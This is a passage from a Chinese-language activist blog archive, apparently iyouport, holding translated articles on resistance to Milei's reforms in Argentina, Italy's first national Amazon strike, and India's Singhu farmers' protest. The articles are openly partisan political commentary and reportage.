大的是托派工人党的失业工人阵线 PoloObrero。其他一些则是左翼庇隆主义组织的延伸，还有一些则是真正独立的，只是以社区为基础的。本世纪初，基什内尔主义者认识到，社会组织具有革命潜力，并对可治理性构成潜在威胁；作为回应，他们将这些社会组织纳入了与国家相互依存的体系（收编了）。社会组织充当中介，提供有补贴的工作计划，而许多人并不是食堂的志愿者，他们依靠这些工作计划来维持生计。同样，食堂也依赖于联邦政府直接提供的粮食援助。考虑到食堂网络的规模、其中许多处于恶劣的组织条件下、阿根廷普遍存在的腐败现象，以及弥漫在庇隆主义政治组织中的侍从主义、垂直性和专制主义，任何人都不应该对确实存在的权力滥用、腐败和敲诈勒索的情况感到惊讶。

作为无政府主义者，我们对政治侍从主义的动态始终持批判态度。它看似互助，实则是专制组织—— 不仅仅是其中的腐败分子—— 它们本质上是利用贫困社区的需求来巩固其自身政治影响力和经济利益的工具。

但是，绝大多数社区食堂都是集体创办和经营的，是社区抵御资本主义在该国贫困社区造成的后果的重要堡垒。米莱政府正试图将它们作为一个整体加以污名化，以便更容易地将它们孤立起来并将其作为目标，切断社会安全网的余线，从而建立一个更加原子化的社会。工人们参与了大众食堂的抗议活动。标语上写着“饥饿不等人”。

如果大众食堂和社会组织不复存在，人们就会通过其他途径来摆脱贫困和饥饿。这个政府正在为社会的同类相食和最纯粹的毒品国家自由市场资本主义铺平道路。

社会崩溃

「图」

而这一切已经在两条战线上发生了。

罗萨里奥，3月5日

「图」

阿根廷第三大城市罗萨里奥的贫民窟已经在很大程度上被互为竞争对手的毒品帮派所控制。罗萨里奥是一座港口城市，其港口已经被私有化，这使它成为了一个特别有吸引力的毒品交易中心。许多当地青年面临着两种选择，一种是忍受每天工作12小时的低工资剥削，另一种

是相对有利可图且“光鲜亮丽”的缉毒步兵，他们选择了后者。

3月5日，罗萨里奥所在省的安全部长巴勃罗·科科西奥尼（Pablo Coccocioni）在自己的 Instagram 账户上发布了一张图片。这张图片的标题是“他们的日子会越来越难过”，图片中数十名囚犯一字排开，盘腿而坐，光着膀子，低着头。这与我们在纳伊布·布克尔的萨尔瓦多看到的被抓获的黑帮成员照片如出一辙。罗萨里奥所在省的安全部长发布的照片

仅仅四天之后，一名15岁的缉毒步兵走进一家加油站，杀害了加油站的服务员。这是自科科西奥尼发布那张照片以来，罗萨里奥发生的第四起随意杀害工人的案件。两名出租车司机和一名公交车司机也在工作时被残忍杀害。人们不敢出门。

现在回想起来，布克尔曾说过：“那张照片是一个严重的错误；只有当帮派被彻底消灭，你控制了街道时，你才能这样做”。罗萨里奥的情况并非如此，其后果并没有影响到政治阶层，也没有影响到警察或武装部队，而是影响到了每天在这里工作的无辜的工人。如果我们假设政府实际上是在镇压帮派活动，那么科科西奥尼的帖子就是一个战略性错误，但这种挑衅行为为选民进一步向右转创造了条件 —— 相当于宣传人们生活在丛林中，面对的是野兽和杀人犯，“法律和秩序”政治是走出丛林的唯一出路。尽管事实上，秩序党政治本身才是危机的根源。毒品国家的残暴。 一名 15 岁的缉毒步兵随意处决了一名工人。

https://t.me/iyouport/13756

5月26日，布宜诺斯艾利斯西郊

「图」

与阿根廷其他无数年轻人一样，音乐家曼努埃尔·洛佩兹·莱德斯马（Manuel Lopez Ledesma）也在快递公司 Rappi 做送货司机以维持生计。当他在一家披萨店外等待订单时，两名少年拦截了他，企图偷走他的摩托车，并将他杀害。这是一个典型的例子，说明了贫穷导致的人人相食的状况。

第二天，Rappi 送货司机在当地警察局前举行激进抗议，结果烧毁了五辆车，包括一辆巡警车。这是一次愤怒和暴躁的小爆发。这是正义之举，但也为那些希望加强治安的秩序党提供了素材。送货司机放火焚烧警车，以抗议同事被谋杀

随着犯罪率的激增，被暴露在风险中的并不是富人。富人们被私人保安保护在高墙后面，生活在封闭的社区里。他们乘坐私家车，从未踏上过公共汽车或火车。来自工人阶级社区的人们才是社会同类相食的受害者，他们不得不担心自己在乘坐火车或等待公共汽车时因为手机或背包而被殴打甚至被杀害。这只会加深社会怨恨，为人们变得更加反动铺平道路。随着劳工斗争和其他形式的反抗成倍增加，人人相食状态和毒品走私的升级使镇压结构合法化，而镇压结构对于彻底放松阿根廷经济管制的计划至关重要。

如果我们生活在丛林中，如果在寒冷的周一早晨我在等公交车时街上的任何人都可以抢劫我，如果在我等着为了得到几个比索而送货时街上每个戴头套的人都可以杀死我，那么无论当局承诺采取什么措施来加强社会控制，大多数人最终都会支持。结果就是一场“法律与秩序”的战争，而这些人被归纳为无定形的可怕群体，包括小罪犯、冷血杀人犯、半兽人、“肮脏的左派分子”以及掠夺穷人和弱势群体的腐败社会组织。

在惶恐不安的民众和被怨恨和个人主义宣传所摧残的社会眼中，别无选择。

团结互助 VS “奋斗文化”和毒品国家

「图」

幸运的是，即使在这般混乱的环境中，仍有人在为正义而战。

马谢尔岛（Isla Maciel），任何一个星期六的早晨

「图」

在“著名的马谢尔岛”中央，一个靠近国际公认的拉博卡社区的小岛上（即使以布宜诺斯艾利斯的标准来看，这里也是出了名的贫穷和危险）聚集着几十名青少年。走近一看，才发现他们穿着印有国际公认的反法西斯双旗标志的T恤衫。这些孩子正在参加每周六在附近为当地儿童和青少年举办的免费拳击课。Boxeo Popular—“人民拳击”—是由布宜诺斯艾利斯反法西斯行动组织（Accion Antifascista Buenos Aires）和反法西斯体育社交俱乐部 La Cultura del Barrio 发起并运营的一个项目。该项目的创始人之一劳拉报告说，“有33个家庭参与了该项目，我们通过该项目为大约85名儿童提供支持和赋权”。俱乐部为孩子们提供队服、装备、持证教练和训练后的小点心。上面写着

Boxeo Popular: “基层组织。 互助。 产生替代方案”

劳拉解释说：“我们从互助而非福利主义的角度来理解这个已进入第六个年头的项目。我们提供一个框架和一个倡议，而孩子们和家庭则每周通过提供必要的基础设施和积极参与项目的实现，为项目的实施做出贡献”。至于该项目如何定义自己，她说 “这是一种手段，本身并不是目的。在没有偏见或歧视的情况下，通过体育、运动和游戏活动，保证人们能够免费获得体育和娱乐，这些活动的目的是培养反对一切形式压迫的价值观，同时也不忽视参与项目的青少年可能经历的不同的心理-社会弱势状况”。她认为该项目是价值观的具体体现，具有更广泛的影响。

“这是一种手段，我们通过互助、积极参与和教育来促进工人阶级的运动、组织和自我管理 —— 将我们作为一个阶级的力量加以运用，集体建设真正的替代方案和社会抵抗空间。”马谢尔岛的青少年参加拳击比赛。

“人民拳击”的课程

布宜诺斯艾利斯市中心克雷斯波别墅，每天上午8点

「图」

拉丁美洲唯一一个明确反法西斯的体育和社交俱乐部 La Cultura del Barrio 开门营业。第一批进门的人可能是来参加功能性健身训练课、瑜伽、拳击或泰拳的。晚些时候，他们可以参加更多的体育活动，或观看直刃族硬核朋克表演、讨论，或参加俱乐部两层楼内的各种活动。所有这些活动都有各种年龄段的人、所有性别、各种亚文化类型和附近围观者的参与。俱乐部的政治文化非常明确：这里挂满了反法西斯和酷儿运动的旗帜、来自世界各地无政府主义组织的海报和贴纸，还有一条写着 “反对国家暴力—— 民众自卫” 的大横幅。

【直刃族是始于80年代的一项运动，当时在美国的年轻人之间，吸毒成了一股潮流，于是美国朋克乐团 Minor Threat 的主唱发起了 “Straight-Edge” 运动，主旨在降低欲望，回归简单生活，不吸毒、不吸烟、不饮酒、不滥交等。】

该俱乐部成立于2011年，是布宜诺斯艾利斯反法西斯行动（Accion Antifascista Buenos Aires）的一个分支，其独特之处在于，俱乐部毫不掩饰自己的政治信仰，已成为整个当地社区都在使用的场所，数百名交纳会费的会员定期参加俱乐部的活动，但从未有人因交不起钱而

被拒之门外，俱乐部也努力保持着平易近人的价格。俱乐部的核心价值观反映了其活跃成员的无政府主义倾向：互助、基层组织、追求利润和资本逻辑之外的其他选择。反法西斯的体育和社交俱乐部 La Cultura del Barrio的表演现场。

La Cultura del Barrio的研讨会现场

社会组织、邻里大会、邻里体育俱乐部（现政府也想将其私有化）、互助和团结团体、以及基层工会，都是我们社会概念的代表。如今，这些组织在阿根廷都不完美。这并不奇怪，因为就像我们所有人一样，它们也无法不显示出产生它们的那个社会所造成的影响。

国家及其媒体的攻击可能会伪装成对腐败或滥用权力的道德讨伐，但这只是一个借口。没错，腐败和滥用是阿根廷社会的普遍现象。但是，如果这真的是问题所在，我们就应该讨论解散警察机构的必要性，因为警察机构严重腐败、滥用职权，而且在许多社区，警察正是组织犯罪和贩毒团伙的核心。或者，我们也应该讨论下教会，因为教会在历史上曾屈从于军事镇压，并多次爆出虐待儿童的丑闻。然而，出乎所有人意料的是，这些机构都没有面对那种令人窒息的愤怒。

国家在原则上攻击社会组织、工会、社区社交和体育俱乐部，因为它们是我们想要建立的关系的有形物质代表。我们希望创造一种环境，让人们能够真正平等地互动，追求集体利益，与新自由主义资本主义的逻辑背道而驰。在2018年 G20 峰会之前的针对无政府主义的突袭镇压中，警察把守在 La Cultura del Barrio入口处。

他们希望我们孤立无援，每个人都身兼三职，拼命工作，直到“好运降临”，幻想着只要早起勤奋工作，就能成为百万富翁。每一个大众食堂的志愿者、每一个社会组织的积极人士、每一个工作场所集会的普通工人、每一个参加邻里俱乐部免费活动的孩子，都是抵制资本主义项目的一块砖。

但是，正如路障挡住了街道却开辟了道路一样，我们的互助和团结项目也不仅仅是集体的抵抗行动。它们还使我们能够有机会体验到资本主义逻辑之外的生活。它们表明，一个人可以不花钱就参与到充实的活动中，一个人可以在传统的大男子主义空间之外受到欢迎，无论其外表或性别如何，任何人都可以与朋友聚在一起，组建一个乐队或组织一次示威游行。这些活动表明，我们每个人的能力都远远超过我们的收入或消费能力。在资本主义之外的未来变得几乎不可想象的时代，它们提供了来自不同世界的一道曙光。2024 年 4 月保卫公立大学的大规模游行的鸟瞰图。

抵抗

「图」

尽管双方都有意渲染6月12日的事件，但当前的客观现实依然令人警醒。各种斗争没有汇聚在一起，也没有即将爆发起义的迹象。庇隆主义运动，包括其左翼，在很大程度上都没有出现在街头和抗议活动中——他们寄希望于让极端自由主义者自己崩溃，从而使他们自己再次成为唯一可行的执政力量。各大工会拒绝执行斗争计划，仅限于采取定期措施，以闭门谈判的方式保护自己，防止劳动法的修改削弱其影响力。虽然右翼媒体对 24 小时大罢工造成的损失叫苦不迭（提醒人们谁才是真正的财富创造者），但在一个一半劳动力都在非正规部门工作的经济体中，传统的工业罢工行动只能让我们走到这一步。马克思主义左派出现在街头和斗争中，值得称赞，但无论从质还是量上讲，他们的影响力都是微不足道的。

历史并非必然趋向“进步”，这也不是一部好人必然获胜的好莱坞电影。随着贫困和饥饿的加剧，资本家们开始攻击自上一次新自由主义实验失败以来数十年间编织的社会结构，如果他们得逞，等待我们的将是一个严峻的反乌托邦。贫困、孤立、极度剥削，最后是毒品国家。

反抗正在激起，冲突的爆发点来得更快、更猛烈。3月24日，数十万人参加了纪念军事政变的传统示威活动，抵制米莱为恢复对上一个独裁政权的记忆所做的努力。4月下旬，近百万人走上街头，捍卫免费公立大学。官僚工会在劳工总联合会（Confederacion General del Trabajo）的领导下举行了两次大罢工，其中一次在交通部门的参与度很高。在米西奥内斯省，教育工作者扎营抗议已有近两周时间。5月23日，米莱在布宜诺斯艾利斯的最后一次公开活动中，人们袭击了他的支持者并抢走了他们的旗帜。2024 年五一劳动节对米莱党派办公室的袭击。

2024年5月，米莱在布宜诺斯艾利斯露面时，他的支持者从他手中夺走了旗帜。

然后，就是6月12日……

再来一张快照 2024年6月12日

「图」

现在是上午 10 点，国会上议院正在开会。今天是对米莱的两百多项极端新自由主义改革大方案进行投票的日子，也是对是否授予他特别权力进行投票的日子。

数万人再次在国会前动员起来。主流工会、中左翼和左翼庇隆主义政党和组织、强大的托洛茨基左派和其他马克思主义团体、社会组织、邻里大会和学生。社会运动和 “人民阵营” 面对的是一个完全被封锁、由近三千名警察保卫的上议院。然而，一枚自制燃烧弹飞过空中，击中了警察的水炮。可以看到工会工人与警察徒手搏斗。大会周围的整个地区都爆发了激战。示威者推翻了一辆新闻车并将其点燃；他们用另一辆新闻车作为路障；他们点火并使用投射物来抵御骑摩托车的警察、还有发射催泪瓦斯和橡皮子弹的警察。布宜诺斯艾利斯，2024 年 6 月 12 日。

布宜诺斯艾利斯，2024 年 6 月 12 日

布宜诺斯艾利斯，2024 年 6 月 12 日

尽管如此，该方案仍以 37 比 36 的票数获得通过，导致这一结果的原因是两名庇隆主义参议员的背叛，以及副总统维多利亚·比利亚鲁埃尔（Victoria Villarruel）—— 独裁统治的拥护者—— 在米莱等待登机前往G7峰会时投下了决定胜负的一票。总统办公室发表声明，称示威者是企图 “推翻政府” 的 “恐怖分子”。35名被捕者被审前拘留，并被指控犯有 “危害公共权力和宪法秩序罪”。当我回想战斗场面时，我的思绪回到了5月底，就在两周前，米莱在美国发表演讲的当时，警车和水炮守卫着其中一个存放着数千吨粮食的仓库。他一直在强调他惯用的谈话要点：“每个人都知道会被饿死的结果。因此他们会想出办法来避免死亡。不需要干预来解决消费这个外部问题，因为总有人会解决这个问题的。”

我回想起他的最后一句话 “你觉得老百姓已经蠢到活活饿死街头而不做点什么来拯救自己的地步了吗？” 至少在这一点上，我和他达成了一致，而且我毫不怀疑，数以万计听到他讲话的人都有同样的想法。人们当然会做 **—— 2001**年的那场民众起义迫使总统辞职，并且是乘坐直升机从总统府的屋顶仓皇而逃的。布宜诺斯艾利斯，2024 年 6 月 12 日。

布宜诺斯艾利斯，2024 年 6 月 12 日。

不过，与2001年12月发生的事件相比，今年6月12日的冲突根本不算什么。现实情况是，米莱仍保留着大量的社会和政治资本。但随着极

端新自由主义项目使阿根廷进一步陷入贫困和失业，社会冲突只会愈演愈烈。当权者敏锐地意识到了这一点，并正在做出相应的准备。如果我们要完成**2001**年开始的任务，我们也必须做同样的准备工作。

（对 6月12日事件的耸人听闻的新闻报道）

2024 年五一劳动节，反法西斯组织联盟在拉普拉塔绘制的壁画。

2024 年 3 月的示威者。

Six Months in a Neoliberal Dystopia

原文

工运新时代：在供应链中团结起来 - iyouport

反抗者-寻求经验

此案例颇具代表性，对全球跨国大企业的工人反抗具有指导意义，并且依旧有很大的扩展空间

【按】3月，亚马逊在意大利的工人举行了该公司历史上第一次全国性的大罢工。杰夫·贝佐斯（Jeff Bezos）的公司长期以来一直使用分包、临时雇佣和迷宫般的合同来分化员工队伍，让工人们难以联合起来—— 但人们还是达成了共识。

阻止工人联合起来，是巨头公司最常用的战术；尤其是物流快递（如亚马逊等）和交通网络公司（如Uber等）。在中国，随着物流和交通工具租贷行业的发展，人们已经体验到了“困在算法里”的压迫和剥削，这就是为什么我们此前制作了另一篇相关的文章《快递小哥的反抗：收集自己的数据检查算法暴政的剥削》。

而这篇文章在讲述的是另一种更传统的方法 —— 在当今环境中的实践。此案例颇具代表性，对全球跨国大企业的工人反抗具有指导意义，并且依旧有很大的扩展空间。

在一年来承受越来越大的压力之后，亚马逊工人在意大利各地举行了二十四小时的罢工。在公司历史上第一次全国性的罢工中，工人们排起了纠察线，抗议疲惫不堪的工作率、专制的算法管理，以及公司对员工缺乏责任感。此次罢工尤其具有历史意义，因为它涉及到所有亚马逊物流工人，从仓库员工到送货司机。

罢工的一个明显的重点是亚马逊的大型配送中心，在那里有成千上万的货物被储存、拣选和包装，然而罢工的范围扩大到了中端分拣中心（在那里派送箱子）和小型的“最后一英里”配送站。当然，罢工还包括了司机，他们是外包的，不被承认为亚马逊的员工，尽管他们的工作始终在亚马逊算法的直接控制之下。

这场罢工据说有75%的参与率，因此代表了劳工运动 —— 以及亚马逊本身—— 的一个历史性时刻。然而，如果要真正打击亚马逊的物

流业务，并反击该公司最具剥削性的做法，这场斗争还需要扩大，包括在国际层面。

召集罢工

「图」

3月10日，亚马逊意大利物流公司（在意大利7个物流中心运营的子公司）与CGIL、CISL和UIL工会联合会物流分会的谈判突然中断，罢工由此而起。在1月份的两次会议后，工会对正在进行讨论表示满意。然而，公司并没有对工人的具体要求做出具体承诺 —— 其中心是关于工作条件、健康和安全、工作强度、时间表、奖金和餐券的公司级集体协议。

公司不可能拒绝一切讨论。在意大利，工会仍然享有相对强大的制度力量：会员总数在欧洲名列前茅，工会在政策制定方面仍然具有影响力。但是，按照其经典战略，亚马逊努力给自己争取时间，而不是回应工会的要求。尽管工会乐观地认为他们可以在公司内就传统的劳资关系进行谈判，但社会对话却变成了聋子的对话。

【注：社会对话（social dialogue）起源来自于国际劳工组织(International Labor Organization,ILO)1960年所制定的咨商建议书，在关于经济与社会政策上具有与社会伙伴间有相关利益的议题中，于政、劳、资双方或三方进行任何形式的协商、咨商或单纯的资讯交换，可以是全国层级、产业层级或企业层级，也可以是跨产业、跨行业、或者以上任何混何形式的讨论。】

两周前的谈判在一次会议上炸开了锅，公司拒绝承认其对分包司机的社会责任。它发表了一份声明，坚称“在向客户送货时，亚马逊物流使用第三方供应商。因此，我们认为，正确的对话者是送货服务的供应商，以及代表他们的商业协会。”三家工会将谈判破裂的责任归咎于公司，并宣布举行全国性罢工—— 不仅涉及司机，还涉及整个全国配送网络。

过去，由于物流链不同环节的工作条件不同，以及工会组织的层次不同，使得这种全国性的罢工无法进行。最早的组织工作发生在2011年开业的皮亚琴察履约中心。那里的第一批工人花了5年的时间成立工会，2017年，那里发生了意大利第一次亚马逊工人罢工。结果是工会得到了管理层的认可，并规定了工厂层面的工作时间和夜班的集体协议。

此后，工会的战略是将这一协议扩展到其他领域，尤其是奖金、健康和安全以及信息权。但公司拒绝认真讨论这些问题—— 只让步在2019年和2021年续签关于夜班的协议。对于意大利和美国亚马逊的管理层来说，第一次罢工后的协议只是曾经的例外。此外，工会似乎要么不愿意，要么无法动员—— 履约中心的员工也并没有完全向公司施加不可抗拒的压力。

一场罢工，不同的条件

「图」

然而在这第一次罢工之后的一段时间里，亚马逊的意大利业务也在大规模增长，通过垂直整合的过程，延伸到了欧洲所有国家。

2017年，亚马逊在意大利开设了两个新的履约中心，分别位于Vercelli（都灵和米兰之间）和 Rieti（罗马附近）。2019年，它又在都灵郊区创建了一个，2020年，又在罗维戈（位于东北部）、波梅齐亚和科莱费罗（离罗马不远）创建了三个。它还建立了自主送货分公司，有25个站点，送货司机把订单装进货车，然后开始轮班。这一次，工会化没有像在皮亚琴察那样耗费那么长的时间：之前的罢工加速了组织工作，Rieti 和都灵很快就成立了工会。司机们也组织起来了，首先是在全国最富裕的地区伦巴第 —— 他们的大部分业务所在地 —— 然后是罗马、热那亚和托斯卡纳。

由CGIL、CISL和UIL工会联合会的物流分会代表，司机是亚马逊员工队伍的新成员。在2015年之前，皮亚琴察是唯一的履约中心，配送工作反而被分包给UPS和SDA等大型物流公司或国家邮政部门。但从2016年开始，该公司建立了自己的中端网络，在米兰郊区，然后是罗马的小型配送站，接收履约中心准备好的箱子和发送的货物。

每个配送站运营的几十名工人都是亚马逊雇佣的，但分包司机负责收集货物并将其送到客户手中。如今，亚马逊的物流子公司雇佣了4000多名工人，加上约1万名临时工（据工会说是这样，官方没有公开数据）。鉴于这支队伍的极度分散，亚马逊分包给 “最后一公里” 配送的司机的具体数量也很难判断（见下图）。意大利亚马逊两家物流公司的正式员工、管理大型枢纽的亚马逊意大利物流公司、管理配送站的亚马逊意大利运输公司，此外，还有约1万名临时工，这些根据季节性活动高峰期雇佣和解雇，以及数量不详的司机。根据 Riccardo Chesta 关于伦巴第的数据，这个地区至少有1500名司机，占电商市场的20%左右。

做司机比做履约中心的工人更难。两者都要面对苛刻的工作节奏，不断的控制，完全没有自主权。但司机的条件尤其不稳定：虽然亚马逊规划并监督他们的工作（确定他们的路线、工作量、工作时间和评估），但亚马逊并没有把他们算作员工，也不接受他们的任何责任。

在指挥链的最底层，司机们要应对的是最激烈的剥削和最大的“灵活性”。外包配送公司在旺季时雇佣他们的数量多达数千人。那些公司被亚马逊设定为竞争对象，要送得更多、更快—— 这种压力就会压在司机身上。

在每个旺季，生产力的门槛都会提高，迫使工人做更多的工作来满足管理要求和数字控制。旺季过后，新的生产力标准得以维持，但有一半的员工被裁员，剩下的人不得不继续以更高的速度工作。根据工会的说法，“在2019年的前几周，亚马逊司机每天运送的包裹数量是行业平均水平的两倍”。

在这些工作量增加的背后，是亚马逊的市场份额大幅增长，但稳定的工作岗位数量却没有相应的增加。然而这也推动了工人们的抱怨，他们知道自己在意大利主要城市交通导航的艰巨工作被低估了。他们所承受的巨大压力解释了为什么最初出现在司机中的许多罢工都是自发的。在这些行动中，工人们要求结束管理层的骚扰、不断提高的生产率要求，以及所谓的特许经营制度，即 强迫工人向雇主支付交通罚款或货车损坏的罚款。

2017年米兰发生了第一次司机罢工，2018年又发生了其他罢工。当年10月，联邦工会和外包配送公司的商业协会签署了一份供应链层面的集体协议—— 尽管亚马逊自己没有签署。然而，这并没有让工人们满意，2019年1月，工人们又和邦联工会一起，在伦巴底地区组织了一次罢工。这次罢工是向前迈出的重要一步：它涉及到整个该大区的协调，在个体化和分散的劳动力中，这并不是什么了不起的壮举，尽管它仍然只涉及司机而不是仓库工作人员。

工会状况

「图」

意大利并不是唯一一个亚马逊工人罢工的国家。2013年德国最先，2014年法国，2017年意大利，2018年西班牙。这些罢工基本上都是以工地为单位的。鉴于亚马逊物流网络的快速发展，工会无法跟上新开工的步伐，无法将所有站点都加入工会。

法国是一个部分例外，那里的劳动立法提倡强制性的工作场所选举。这鼓励所有站点都有工会存在，并在管理那里的履约中心的子公司亚马逊法国物流公司集中进行集体谈判。这有利于在流行病期间进行协调动员，当时工会呼吁在各履约中心举行全国性罢工。然而，这并没有延伸到较小的中心或司机，他们要么受雇于单独的亚马逊法国运输公司，要么被外包。

在阿尔卑斯山对面，意大利的联邦工会也面临着同样的问题。公司结构类似，一个子公司负责物流运营（Amazon Italia Logistica），另一个子公司负责配送站（Amazon Italia Transport），旁边还有一个中小型外包配送公司。然而在这里，工会在组织全体员工的战略上更有远见。他们意识到，最后一公里配送是亚马逊网络的一个薄弱环节，也是剥削程度最高的环节。因此，工会，尤其是**CGIL**的物流分部，投入资金组织司机。而且，正如**2017**年第一次自发的罢工所显示的那样，司机们并不需要等待工会的绿灯就能采取行动。

为所有亚马逊物流工人建立一个共同的战略很难说是一件容易的事 —— 邦联工会的结构，僵硬地划分为行业级联合会，使得司机和仓库工作人员之间的协调变得困难。例如，亚马逊位于皮亚琴察的意大利最古老的履约中心，属于商业部门的集体协议，而其其他业务则属于物流和运输部门的协议。这意味着，受雇于同一子公司但在不同地点运营的仓库工人，由两个不同的工会联合会代表。

这种人为的划分，是亚马逊决定签署两个不同的集体协议的产物——并被工会的行业级结构所复制—— 不仅增加了工人和工会代表之间的协调难度，而且也框定了他们的思维。有些人不认为这种协调是优先事项，因为 “商务合同下的工人与物流合同下的同事没有同样的问题”。

基层组织

「图」

然而，风险很大，这样的障碍迟早需要克服。亚马逊是全球最大的雇主之一，是数字 “革命” 的先锋。它是一个强大的垄断者，试图破坏游戏规则，从劳动法规到反垄断和税法。这场大瘟疫，以及随之而来的资本主义经济的重组，都只是增强了它的力量。

基于这些原因，这次罢工具有不可否认的政治重要性。但是，工会决定性行动的重要性应该在意大利劳资关系更广泛的动态中来理解，尤其是在物流行业。

在过去的20年里，意大利联邦工会经历了一个制度化的过程 —— 从20世纪90年代开始接受社会对话和公司主义，这推动了一个融入意大利国家的过程。工会获得了参与决策的机会 —— 但作为交换，工会让步于工资贬值和结束产业冲突。

这尤其损害了工会动员劳动力市场外围的能力—— 尤其是新兴的物流业。这也使得工会更难抵制劳动力市场的放松管制、削减工资以及管理层日益增长的自由裁量权。物流业的工人，尤其是移民，被隔离在一个支离破碎的外包链条中：大型物流公司将仓库工作分包给合作社，条件是放松管制，往往是非法的。尤其是这些合作社敲诈移民工人—— 这些移民工人在意大利的生活许可与他们的工作挂钩—— 以强行规定加班、无偿工作时间和专制规则。

联邦工会在这方面没有采取认真的举措，部分原因是合作社运动和工会之间的关系历来良好。最终，这种现状被底层工会 SI COBAS 和 ADL COBAS 的成立所打破。从2011年开始，这些由基层活动家和物流工人组成的独立工会开始在意大利各地掀起波澜，并改变了该行业的力量平衡。

COBAS的成功在很大程度上要归功于其灵活的工会结构，它依靠原有的移民社区关系，允许农民工担任领导角色。同样关键的是其在仓库门口静坐和封锁的战术。这使得工人们能够瘫痪货物的流通。这种压力极大地改善了经济和工作条件，并为该行业带来了一股振兴工会组织的浪潮。今天，SI COBAS 和 ADL COBAS 是意大利一些最重要的快递和快运公司中最具代表性的工会。

当然，这些反抗也带来了严厉的镇压：雇主的爪牙或警察攻击反抗的工人，雇主的停工，出于政治动机的裁员，司法指控，罚款和审判。就在上周，SI COBAS 在皮亚琴察的活动家在对联邦快递TNT进行艰难但最终胜利的罢工后被逮捕。

事实上，亚马逊是唯一一家COBAS无法建立重要存在的公司。这可能是由于其就业条件的特殊性、人力资源方法的风格，特别是在履约中心，相对来说，稳定就业的承诺更大。

这也有助于解释亚马逊罢工对于更成熟的联合工会的政治重要性。这次罢工是由谈判的突然停止引发的，工会希望向这家跨国公司展示他们的实力。但是，忠于他们狭隘的社会对话观念，他们的目的是迫使亚马逊回到谈判桌前—— 建立其他行业的正常劳资关系。

胜利是不确定的。亚马逊的战略是避免任何严肃的接触，特别是在工

资水平和工人对劳动过程的控制方面。除此之外，意大利分公司没有有效的决策权或合法性，在没有得到西雅图亚马逊总部同意的情况下签署协议。到目前为止，该公司已经成功地推行了这一战略，并将继续这样做，直到工会和工人能够真正伤害到物流业务的正常运作，停止货物流动。

周一的罢工对于劳工运动来说是历史性的。但它是否也能促使工会更广泛地复兴，取决于工人们是否有能力将斗争持续下去，并将其扩大到其他工人，如临时工、亚马逊的呼叫中心操作员以及其他公司的工人。目前，一个积极的迹象是米兰的UPS司机在罢工当天拒绝运送亚马逊产品的行动。这种团结对于克服不同工人群体之间的分歧 ——并建立起反对跨国公司的国际阵线来说，是至关重要的。〇

Italy’s Amazon Strike Shows How Workers Across the Supply Chain Can Unite

原文

异议的收成 - iyouport

反抗者-寻求经验

【2021年5月18日存档】“政府做事只是表演，他们所有的计划都是为了让他们的追随者观看和庆祝的。没有任何实际意义。这是光天化日之下的抢劫。”

【按】阅读这篇文章之前您首先需要理解一个道理：自由派和左派唯一的共同点是左派支持弱势群体， 而自由派支持出于营销目的假装关心弱势群体。此外没了。自由派事实上只是保守派， 他们的核心信仰有点尴尬。任何真正关心弱势群体的人，都无法推动以市场为基础的社会问题解决方案 —— 这是常识，也是被印度反抗者深刻理解的。希望中国读者也能理解。

去年12月的一个寒冷的早晨，当我走进 Singhu 的抗议现场时，首先看到的是一个户外的兰加尔，这是当地锡克教寺庙(gurdwara)组织的社区厨房。志愿者们匆匆忙忙地拿着米饭、豆瓣和腐竹，熟练地将它们放到坐在地上的人们端着的盘子里。在附近，还有一些人把食物送到老人手中，或者分发袜子和绒衣给人们。一群年轻人开着一辆蓝色的大型拖拉机在抗议活动中巡逻，车上的扬声器播放着旁遮普音乐；车侧贴着安贝德卡尔 (B. R. Ambedkar)、阿什法克拉·坎 (Ashfaqulla Khan) 和 Lala Lajpat Rai 的照片。

【注：安贝德卡尔，印度法学家，经济学家，政治家和社会改革家，他启发了达利特佛教运动，并反对对达利特人的社会歧视；Ashfaqulla Khan，印度独立运动中著名的自由战士；Lala Lajpat Rai，印度独立主义者，他在印度独立运动中发挥了关键作用。】

Singhu 是新德里西北部的一个村庄，位于首都领地与哈里亚纳邦的边界附近。直到上世纪90年代，这里还曾经被农田覆盖；而如今，这里被荒芜的工业区所覆盖，到处都是华而不实的空酒店。

自去年11月24日以来，超过三十万农民，大部分来自哈里亚纳邦和旁遮普邦，已经在抗议现场扎营，这里横跨44号国道中间，聚集了数千辆汽车、卡车和拖拉机（抗议者封锁了道路，不允许除救护车以外的

所有车辆通过）。农民们正在抗议纳伦德拉·莫迪的BJP政府在2020年9月通过的一系列法律，这些法律试图将农业部门私有化，其中有近42%的印度人就业。

- 不要错过，关于莫迪政府和印度的历史《少说话，多办事 ……当坏蛋手持宪法》

乍一看，抗议者的营地就像一个大型旅行大篷车。油布被从一辆卡车拖到另一辆卡车上，形成临时帐篷。车辆本身也被塞满了坐垫和毛毯，车身上贴着家庭照片。营地外围有一些帐篷，里面装满了床垫、椅子和一箱箱的医疗用品，有的地方甚至有医生在待命（防备暴力镇压的后果）。

这里搭起了一个舞台，从这里开始，演讲者 —— 艺术家、活动家，最常见的是当地工会领导人—— 通过麦克风向人群讲话。白天，农民们躺在小床上，挤在拖拉机上；有些人在卡车上看书报。抗议者的卡车附近总有一辆车上装满了粮食，还有些车上只装着洋葱、土豆、小麦和大米。抗议现场绵延6英里以上。

在这场静坐抗议开始之前，旁遮普邦和哈里亚纳邦已经发生了长达两个月的地方抗议活动。“The rail roko andolan [封锁火车轨道] 自9月以来一直在发生，我们的一些兄弟仍然在那里”，来自旁遮普省贾朗达尔的一个农场工人工会的领导人 Sukwinder Singh Sabraha 说。在这场封锁中，农民（其中许多是妇女）蹲在铁轨上，以引起公众对 **“kalay kanoon”[即 恶法]** 的关注。国家的回应是指责抗议者阻挡了基本商品进出旁遮普和哈里亚纳邦。但抗议者并没有被吓倒。“莫迪政府是骗子！”现场的一块标语牌上写着，后来我发现很多卡车上都画着一个巧妙的双关语。

Sabraha 告诉我，在9月7日至11日期间，农民还在旁遮普省的监狱和政府办公室外举行了抗议活动，对当时议会正在讨论的改革提出异议。“我们知道会发生什么”，他说，“但没有人关注。所以我们不得不步行到德里，要求总理给予一些答复”。德里警方用催泪瓦斯、水炮和 **lathi [就是警棍]** 来迎接他们。政府在一条主干道上挖了壕沟，阻止游行工会进入首都。“尽管如此，我们还是在这里”，Sabraha 说。“Trolley nu jahaz bana di” 他附近的一位老农说，意思是 “我们把拖拉机变成了飞机”。

参加这场抗议的农民来自四十多个工会，但他们团结在印度农民联合会（BKU）的旗帜下，要求彻底废除新法律。（BKU领导人 Rakesh Tikait 在12月初说：“我们不会接受任何东西”。）

